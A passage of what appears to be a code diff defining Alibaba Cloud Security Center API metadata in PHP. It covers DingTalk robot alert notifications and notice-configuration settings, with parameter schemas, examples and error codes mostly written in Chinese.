500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2E96F605-1BE3-5954-83A5-AE96C617****\\"\\n}","type":"json"}]', + 'title' => '钉钉推送测试', + ], + 'DeleteDingTalk' => [ + 'summary' => '使用云安全中心系统配置，通知设置，钉钉机器人，调用该接口删除钉钉机器人通知。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91957', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + ], + 'parameters' => [ + [ + 'name' => 'Ids', + 'in' => 'query', + 'schema' => [ + 'description' => '通知消息ID，多个ID之间使用英文逗号分隔。'."\n" + .'> 调用[DescribeDingTalk](~~DescribeDingTalk~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '2170,256', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BF3D4ACB-CE17-559F-B850-490E42CDDC7E', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BF3D4ACB-CE17-559F-B850-490E42CDDC7E\\"\\n}","type":"json"}]', + 'title' => '删除钉钉通知', + ], + 'ModifyDingTalkStatus' => [ + 'summary' => '修改钉钉机器人通知状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92363', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + ], + 'parameters' => [ + [ + 'name' => 'Ids', + 'in' => 'query', + 'schema' => [ + 'description' => '钉钉机器人通知编号。多个编号可采用英文半角逗号隔开。'."\n" + .'>调用[DescribeDingTalk](~~DescribeDingTalk~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '2259', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '状态。取值：'."\n" + .'- **0**：停用'."\n" + .'- **1**：启用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '81DCBD76-196C-57A5-9C7D-F14DE8E1****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"81DCBD76-196C-57A5-9C7D-F14DE8E1****\\"\\n}","type":"json"}]', + 'title' => '修改钉钉机器人通知状态', + 'description' => '仅支持云安全中心企业版用户调用该接口。', + ], + 'CreateOrUpdateDingTalk' => [ + 'summary' => '新增或修改钉钉机器人通知配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91933', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要修改的通知机器人ID。'."\n" + .'>您可以调用[DescribeDingTalk](~~DescribeDingTalk~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1589', + ], + ], + [ + 'name' => 'RuleActionName', + 'in' => 'query', + 'schema' => [ + 'description' => '机器人名称。'."\n" + ."\n" + .'> 钉钉通知名称的长度为2-64个字符。', + 'type' => 'string', + 'required' => true, + 'example' => 'testNotify', + ], + ], + [ + 'name' => 'SendUrl', + 'in' => 'query', + 'schema' => [ + 'description' => 'Webhook 地址。', + 'type' => 'string', + 'required' => true, + 'example' => 'https://oapi.dingtalk.com/robot/send?access_token=XXX', + ], + ], + [ + 'name' => 'IntervalTime', + 'in' => 'query', + 'schema' => [ + 'description' => '通知频率，单位秒。'."\n" + .'> 值为**0**则表示不限制通知频率。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'ConfigList', + 'in' => 'query', + 'schema' => [ + 'description' => '通知范围。该值为JSONArray格式，包含以下KEY：'."\n" + .'- **type**：通知范围类型。取值如下：'."\n" + .'- **configItemList**：检测项通知配置列表，该值为JSONArray格式，包含以下KEY：'."\n" + .' - **key**：检测项通知配置KEY。'."\n" + .' - **valueList**：检测项通知配置值，该值为JSONArray格式。'."\n" + ."\n" + .'> 取值请参考“参数补充说明”。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"type":"sas_analysis_online-sas-operation-log-sas-event-suspicious","configItemList":[{"key":"item_level","valueList":["all"]},{"key":"event_type","valueList":["all"]}]}]', + ], + ], + [ + 'name' => 'GroupIdList', + 'in' => 'query', + 'schema' => [ + 'description' => '通知的检测威胁资产分组编号。该值为JSONArray格式。'."\n" + ."\n" + .'> 该值为JSONArray格式，您可以通过调用[DescribeGroupStruct](~~DescribeGroupStruct~~)接口获取资产分组编号。', + 'type' => 'string', + 'required' => false, + 'example' => '["10417151"]', + ], + ], + [ + 'name' => 'DingTalkLang', + 'in' => 'query', + 'schema' => [ + 'description' => '通知的语言。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '76975B7A-34DC-5CB6-9538-91700D4F112E', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"76975B7A-34DC-5CB6-9538-91700D4F112E\\"\\n}","type":"json"}]', + 'title' => '修改钉钉机器人通知配置', + 'requestParamsDescription' => '以下表格展示了通知范围ConfigList各个Key对应的取值。'."\n" + .''."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .''."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .' '."\n" + .'
type（通知范围类型） 类型说明 key（检测项通知配置KEY） 检测项通知配置KEY说明检测项通知配置值检测项通知配置值说明
sas_analysis_online-sas-operation-log-sas-event-vul '."\n" + .' 漏洞type漏洞类型all所有
cmsWeb-CMS漏洞
ovalLinux软件漏洞
sysWindows系统漏洞
emg应急漏洞
necessity漏洞等级all所有
asap高
later中
nntf低
sas_analysis_online-sas-operation-log-sas-event-hc基线检查item_level等级all所有
high高
medium中
low低
sas_analysis_online-sas-operation-log-sas-event-suspicious安全告警item_level等级all所有
serious紧急
suspicious可疑
remind提醒
event_type告警类型
all所有
进程异常行为进程异常行为
网站后门网站后门
异常登录异常登录
异常事件异常事件
敏感文件篡改敏感文件篡改
恶意进程（云查杀）恶意进程（云查杀）
异常网络连接异常网络连接
其他其他
异常账号异常账号
应用入侵事件应用入侵事件
云产品威胁检测云产品威胁检测
精准防御精准防御
应用白名单应用白名单
持久化后门持久化后门
sas_analysis_online-sas-operation-log-sas-event-ak-leakage'."\n" + .' AK泄露检测type泄露类型all所有
sas_analysis_online-sas-operation-log-sas-event-honeypot'."\n" + .' 云蜜罐item_level等级all所有
high高
medium中
low低
sas_analysis_online-sas-operation-log-sas-event-rasp'."\n" + .' 应用防护item_level等级all所有
high高
medium中
low低
', + ], + 'ModifyNoticeConfig' => [ + 'summary' => '修改通知配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92377', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '42.178.XX.XX', + ], + ], + [ + 'name' => 'Route', + 'in' => 'query', + 'schema' => [ + 'description' => '通知方式。取值如下：'."\n" + ."\n" + .'- **1**：短信开启。'."\n" + .'- **2**：邮件开启。'."\n" + .'- **4**：站内信开启。'."\n" + .'- **3**：短信和邮件开启。'."\n" + .'- **5**：短信和站内信开启。'."\n" + .'- **6**：邮件和站内信开启。'."\n" + .'- **7**：短信、邮件、站内信开启。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '4', + ], + ], + [ + 'name' => 'Project', + 'in' => 'query', + 'schema' => [ + 'description' => '项目标识。'."\n" + ."\n" + .'- **yundun_security_Weekreport**：安全周报（只支持邮件）。'."\n" + .'- **sas_healthcheck**：基线检查。'."\n" + .'- **yundun_defennce_antiRansomware_overflow**：防勒索空间超量。'."\n" + .'- **yundun_sas_cloudsiem_log**：威胁分析日志超量提醒通知。'."\n" + .'- **sas_suspicious**：安全告警。'."\n" + .'- **yundun_aegis_AV_true**：精准防御。'."\n" + .'- **yundun_sas_ak_leakage AccessKey**：AccessKey 泄露情报。'."\n" + .'- **yundun_sas_config_alert**：云平台配置检查。'."\n" + .'- **yundun_sas_vul_Emergency**：应急漏洞情报。'."\n" + .'- **yundun_webguard_event**：网页防篡改。'."\n" + .'- **yundun_sas_cloud_native_firewall**：容器防火墙异常告警通知（只支持邮件）。'."\n" + .'- **yundun_sas_cloud_native_firewall_Defense**：容器防火墙主动防御通知（只支持邮件）。'."\n" + .'- **yundun_IP_Blocking**：恶意 IP 拦截告警通知。'."\n" + .'- **yundun_sas_anti_virus_config**：病毒扫描通知。'."\n" + .'- **yundun_sas_log**：日志超量。'."\n" + .'- **yundun_honeypot_alarm**：云蜜罐告警。'."\n" + .'- **aliyun_rasp_alarm**：应用防护告警。'."\n" + .'> **yundun_security\\_Weekreport**以周报发送，通知存在还未处理的漏洞。', + 'type' => 'string', + 'required' => false, + 'example' => 'yundun_webguard_event', + ], + ], + [ + 'name' => 'TimeLimit', + 'in' => 'query', + 'schema' => [ + 'description' => '通知的时间限制。'."\n" + .'- **0**：无限制。'."\n" + .'- **1**：08:00-22:00时间段内发送通知。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'BizType', + 'in' => 'query', + 'schema' => [ + 'description' => '通知配置类型，默认为短信/邮件/站内信。取值：'."\n" + ."\n" + .'- **cms**：云监控推送', + 'type' => 'string', + 'required' => false, + 'example' => 'cms', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5989D067-621F-51E2-A636-D94D1388****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5989D067-621F-51E2-A636-D94D1388****\\"\\n}","type":"json"}]', + 'title' => '修改通知配置', + ], + 'DescribeDingTalk' => [ + 'summary' => '获取钉钉通知列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'RuleActionName', + 'in' => 'query', + 'schema' => [ + 'description' => '通知名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'TestRuleAction', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页最大显示的通知数量。默认值为**20**，表示每页显示20条信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'B256A525-7E42-4BB9-A27C-9017FDDFF1A2', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '149', + ], + ], + ], + 'ActionList' => [ + 'description' => '通知列表。', + 'type' => 'array', + 'items' => [ + 'description' => '通知信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '通知状态。取值：'."\n" + .'- **0**：关闭通知'."\n" + .'- **1**：启用通知', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ConfigList' => [ + 'description' => '消息的通知范围配置。该值为JSON串，包含以下字段：'."\n" + ."\n" + .'- **type**：通知类型'."\n" + .'- **configItemList**：通知范围', + 'type' => 'string', + 'example' => '[{"type":"sas_analysis_pre-sas-operation-log-sas-event-suspicious","configItemList":[{"key":"item_level","valueList":["all"]}]},{"type":"sas_analysis_pre-sas-operation-log-sas-event-hc","configItemList":[{"key":"item_level","valueList":["all"]}]}]', + ], + 'GmtCreate' => [ + 'description' => '创建时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1550828400000', + ], + 'ActionName' => [ + 'description' => '通知名称。', + 'type' => 'string', + 'example' => 'TestRuleAction', + ], + 'Url' => [ + 'description' => '通知参数。', + 'type' => 'string', + 'example' => 'https://oapi.dingtalk.com/robot/send', + ], + 'AliUid' => [ + 'description' => '用户的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12312412341', + ], + 'DingTalkLang' => [ + 'description' => '通知的语言。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'example' => 'zh', + ], + 'IntervalTime' => [ + 'description' => '时间间隔。单位：分钟。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1000', + ], + 'GmtModified' => [ + 'description' => '修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1550828400000', + ], + 'GroupIdList' => [ + 'description' => '分组ID列表。', + 'type' => 'string', + 'example' => '"123,456"', + ], + 'Id' => [ + 'description' => '通知消息ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B256A525-7E42-4BB9-A27C-9017FDDFF1A2\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149\\n },\\n \\"ActionList\\": [\\n {\\n \\"Status\\": 0,\\n \\"ConfigList\\": \\"[{\\\\\\"type\\\\\\":\\\\\\"sas_analysis_pre-sas-operation-log-sas-event-suspicious\\\\\\",\\\\\\"configItemList\\\\\\":[{\\\\\\"key\\\\\\":\\\\\\"item_level\\\\\\",\\\\\\"valueList\\\\\\":[\\\\\\"all\\\\\\"]}]},{\\\\\\"type\\\\\\":\\\\\\"sas_analysis_pre-sas-operation-log-sas-event-hc\\\\\\",\\\\\\"configItemList\\\\\\":[{\\\\\\"key\\\\\\":\\\\\\"item_level\\\\\\",\\\\\\"valueList\\\\\\":[\\\\\\"all\\\\\\"]}]}]\\",\\n \\"GmtCreate\\": 1550828400000,\\n \\"ActionName\\": \\"TestRuleAction\\",\\n \\"Url\\": \\"https://oapi.dingtalk.com/robot/send\\",\\n \\"AliUid\\": 12312412341,\\n \\"DingTalkLang\\": \\"zh\\",\\n \\"IntervalTime\\": 1000,\\n \\"GmtModified\\": 1550828400000,\\n \\"GroupIdList\\": \\"\\\\\\"123,456\\\\\\"\\",\\n \\"Id\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取钉钉通知列表', + ], + 'DescribeNoticeConfig' => [ + 'summary' => '获取通知设置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '60.191.XX.XX', + ], + ], + [ + 'name' => 'BizType', + 'in' => 'query', + 'schema' => [ + 'description' => '通知配置类型，取值：'."\n" + ."\n" + .'- **默认（不传）**：短信/邮件/站内信'."\n" + .'- **cms**：云监控推送', + 'type' => 'string', + 'required' => false, + 'example' => 'cms', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D185B7FF-E24C-422D-83D3-C2A25C7A2727', + ], + 'NoticeConfigList' => [ + 'description' => '通知配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '通知配置信息。', + 'type' => 'object', + 'properties' => [ + 'TimeLimit' => [ + 'description' => '通知的时间限制。'."\n" + .'- **0**：无限制。'."\n" + .'- **1**：08:00-22:00时间段内发送通知。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AliUid' => [ + 'description' => '用户的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12123414****', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Project' => [ + 'description' => '项目标识。'."\n" + ."\n" + .'- **yundun_security\\_Weekreport**：漏洞通知。'."\n" + .'- **yundun_sas\\_antiransomware\\_tas**k：防勒索任务执行结果通知。'."\n" + .'- **sas_healthcheck**：基线检查通知。'."\n" + .'- **sas_suspicious**：态势感知安全告警通知。'."\n" + .'- **yundun_aegis\\_AV\\_true**：精准防御通知。'."\n" + .'- **yundun_sas\\_ak\\_leakage**：AccessKey泄露情报通知。'."\n" + .'- **yundun\\_sas\\_config_alert**：云平台配置检查通知。'."\n" + .'- **yundun_sas\\_vul\\_Emergency**：应急漏洞情报通知。'."\n" + .'- **yundun_webguard\\_event**：网页防篡改通知。'."\n" + .'- **yundun_sas\\_cloud\\_native\\_firewall**：容器防火墙异常告警通知。'."\n" + .'- **yundun_sas\\_cloud\\_native\\_firewall\\_Defense**：容器防火墙主动防御通知。'."\n" + .'- **yundun_IP\\_Blocking**：恶意 IP 拦截告警通知。'."\n" + .'- **yundun_sas\\_anti\\_virus\\_config**：病毒扫描通知。'."\n" + .'- **yundun_sas\\_log**：日志超量通知。'."\n" + .'- **yundun_honeypot\\_alarm**：云蜜罐告警通知。'."\n" + .'- **aliyun_rasp\\_alarm**：应用安全告警通知。'."\n" + .'- **virusScheduleTask**：病毒防御定期扫描完成通知。'."\n" + .'- **yundun\\_anti_Virus**：未进行安全扫描通知。'."\n" + .'- **sas_vulnerability**：漏洞通知。'."\n" + .'- **weeklyreport**：周报通知。'."\n" + .'- **agent**：客户端离线通知。'."\n" + .'- **bruteforcesuccess**：防暴力破解通知。'."\n" + .'- **webshell**：Webshell通知。'."\n" + .'- **suspicious**：安骑士告警通知。'."\n" + .'- **patch**：已废弃，无需关注。'."\n" + .'- **remotelogin**：远程登录通知。'."\n" + .'- **health**：安全检测通知。'."\n" + .'- **yundun\\_sas\\_cloudsiem_log**：威胁分析日志超量提醒通知。'."\n" + .'> **yundun_security\\_Weekreport**以周报发送，通知存在还未处理的漏洞。', + 'type' => 'string', + 'example' => 'sas_suspicious', + ], + 'Route' => [ + 'description' => '通知方式。取值如下：'."\n" + ."\n" + .'- **1**：短信开启。'."\n" + .'- **2**：邮件开启。'."\n" + .'- **4**：站内信开启。'."\n" + .'- **3**：短信和邮件开启。'."\n" + .'- **5**：短信和站内信开启。'."\n" + .'- **6**：邮件和站内信开启。'."\n" + .'- **7**：短信、邮件、站内信开启。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'Category' => [ + 'description' => '云监控通知配置下的业务分类。取值：'."\n" + ."\n" + .'- **Incident**：安全事件。'."\n" + .'- **Suspicious**：安全告警。'."\n" + .'- **Hc**：基线检查。'."\n" + .'- **Cspm**：云安全态势管理。'."\n" + .'- **Agentless**：无代理检测。'."\n" + .'- **Filedetect**：恶意文件SDK。'."\n" + .'- **Vul**：漏洞。'."\n" + .'- **Rasp**：应用防护。', + 'type' => 'string', + 'example' => 'Cspm', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'The request processing has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D185B7FF-E24C-422D-83D3-C2A25C7A2727\\",\\n \\"NoticeConfigList\\": [\\n {\\n \\"TimeLimit\\": 1,\\n \\"AliUid\\": 0,\\n \\"CurrentPage\\": 1,\\n \\"Project\\": \\"sas_suspicious\\",\\n \\"Route\\": 7,\\n \\"Category\\": \\"Cspm\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取通知设置信息', + ], + 'DescribeDataSource' => [ + 'summary' => '查询配置钉钉告警配置的数据源，基于数据源可以配置通知的钉钉告警的范围。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92053', + 'abilityTreeNodes' => [ + 'FEATUREsasDM8NT3', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '39.155.*.*', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ConfigType', + 'in' => 'query', + 'schema' => [ + 'description' => '获取的数据源的类型，当前固定为DingTalk。', + 'type' => 'string', + 'required' => false, + 'example' => 'DingTalk', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDXXXX', + ], + 'MetaDatas' => [ + 'description' => '数据源meta信息。', + 'type' => 'array', + 'items' => [ + 'description' => '数据源meta信息。', + 'type' => 'object', + 'properties' => [ + 'Description' => [ + 'description' => '数据源描述信息。', + 'type' => 'string', + 'example' => 'dingtalk_suspicious', + ], + 'DataSourceName' => [ + 'description' => '数据源名称。', + 'type' => 'string', + 'example' => 'sas_analysis_pre-sas-operation-log-sas-event-suspicious', + ], + 'DataSourceId' => [ + 'description' => '数据源ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1753', + ], + 'MetaDataFields' => [ + 'description' => '元数据文档。', + 'type' => 'array', + 'items' => [ + 'description' => '元数据文档。', + 'type' => 'object', + 'properties' => [ + 'ValueType' => [ + 'description' => '字段值类型。', + 'type' => 'string', + 'example' => 'string', + ], + 'Filed' => [ + 'description' => '字段key。', + 'type' => 'string', + 'example' => 'type', + ], + 'FiledName' => [ + 'description' => '字段名称。', + 'type' => 'string', + 'example' => 'dingtalk_vul_type', + ], + 'Sample' => [ + 'description' => '字段样例。', + 